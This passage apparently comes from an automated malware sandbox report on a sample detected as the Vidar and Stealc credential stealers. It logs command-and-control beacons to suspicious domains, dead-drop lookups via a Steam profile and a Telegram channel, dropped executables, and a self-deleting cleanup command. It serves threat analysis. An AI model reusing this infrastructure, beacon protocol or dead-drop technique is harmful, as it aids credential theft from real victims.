2024-09-30 11:59:57 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 11:59:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 11:59:57 UTC	776	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0h7guldlplcggm97i8orgqkpqp; expires=Fri, 24 Jan 2025 05:46:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GcQYjq5b%2BiUslLppMCKUIJvW43F9GxWAeF5SKe1XX9TPXZj%2FepfcjVFCfgE1gcWZd%2B2cixkvnXj2m1AaAK68Q14N8dbrpBUzfSSFBMKajAwCCBL47Wsy%2FdS7ewVRWFhK5jnIcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40cbe2dda8ce9-EWR
2024-09-30 11:59:57 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 11:59:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49737	172.67.205.129	443	6864	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:58 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 11:59:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 11:59:58 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=me0hrcc6vh4aeft8knhphnfsmm; expires=Fri, 24 Jan 2025 05:46:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iWCVuoLCidfpKDeFPI4Yv84htzA8lGKVz42%2BeZLjLjmLC9t035BoE3n8NYB1hU8wxBTgalM0fxTRzu1QbVdL8%2FB8bjxt4r4rp7tK%2FsnMCUt1wGYmtftxKzsq4W5FKLGhIr9mgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40cc42d038c18-EWR
2024-09-30 11:59:58 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 11:59:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49738	104.21.1.169	443	6864	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 11:59:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: underlinemdsj.site
2024-09-30 11:59:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 11:59:59 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q51tkuuchen2pku3e0f4nc6q9b; expires=Fri, 24 Jan 2025 05:46:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x53TOdLndV9fUmgQOds9d%2BNew%2FJxBWhFqEMmlZKVX3CpFC5oLZD5Qk%2B2Y3bHuwMOQLS6qdkXlPn3yvsP0keVsHgzqLKRgutMS25qSs5bxYGZm71JkWhrIUpVzJJ44dQ8koPXPWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40cca1aab0cc4-EWR alt-svc: h3=":443"; ma=86400
2024-09-30 11:59:59 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 11:59:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49739	104.102.49.254	443	6864	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 12:00:00 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-30 12:00:00 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 30 Sep 2024 12:00:00 GMT Content-Length: 34678 Connection: close Set-Cookie: sessionid=633db1db412ed21e22f0d4a8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-30 12:00:00 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-30 12:00:00 UTC	16384	IN	Data Raw: 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f Data Ascii: ss': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_actio
2024-09-30 12:00:00 UTC	3768	IN	Data Raw: 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a Data Ascii: eLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content ">
2024-09-30 12:00:00 UTC	12	IN	Data Raw: 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: dy></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49740	188.114.97.3	443	6864	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 12:00:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: chaptermusu.store
2024-09-30 12:00:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 12:00:01 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 12:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ru7mis66afacp5u7vbdsb3ek92; expires=Fri, 24 Jan 2025 05:46:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t72ndUyHYLsfmK%2BGFHSvOYeP3rWYHa17Y4kz2M9XUk9sHOiGn63WWOUJs1szxbnVS5kpxQS39jMSScdK%2FUMqYHxZgD6P8rsMucZiY7a8%2BJaY5xKmkxVkZlrp5GbEKztwlw40TQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb40cd87a815e61-EWR
2024-09-30 12:00:01 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 12:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49741	149.154.167.99	443	3784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 12:00:05 UTC	145	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
2024-09-30 12:00:06 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 12:00:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12382 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 12:00:06 UTC	12382	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Target ID:	0
Start time:	07:58:54
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa10000
File size:	414'248 bytes
MD5 hash:	3C9241D0CE97C159D6CFAA49F602FAFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:58:54
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:58:54
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:59:37
Start date:	30/09/2024
Path:	C:\ProgramData\KECBKKEBKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KECBKKEBKE.exe"
Imagebase:	0x250000
File size:	380'456 bytes
MD5 hash:	32C2E31313C3DF4A7A36C72503A5BEBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:59:37
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:59:37
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x3c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:59:37
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:59:39
Start date:	30/09/2024
Path:	C:\ProgramData\EGDGCGCFHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\EGDGCGCFHI.exe"
Imagebase:	0xf40000
File size:	414'248 bytes
MD5 hash:	38DABC7063C0A175A12C30BD44CF3DBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000B.00000002.2560292223.000000000440E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:59:39
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:59:39
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:59:39
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:59:40
Start date:	30/09/2024
Path:	C:\ProgramData\DBGIJEHIID.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\DBGIJEHIID.exe"
Imagebase:	0x630000
File size:	334'376 bytes
MD5 hash:	2832FBDE1CF7EA83BD6FD6A4A5E8FE15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2576073985.00000000039C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:59:40
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:59:40
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x510000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:59:40
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.3023059126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:59:42
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FIJKEHJJDAAK" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:59:43
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:59:43
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xb90000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:59:53
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGIEGHJEGHJ.exe"
Imagebase:	0x7ff6ae840000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:59:53
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:59:53
Start date:	30/09/2024
Path:	C:\Users\userGIEGHJEGHJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userGIEGHJEGHJ.exe"
Imagebase:	0x420000
File size:	414'248 bytes
MD5 hash:	38DABC7063C0A175A12C30BD44CF3DBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:59:53
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJEGDBGDBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:59:54
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
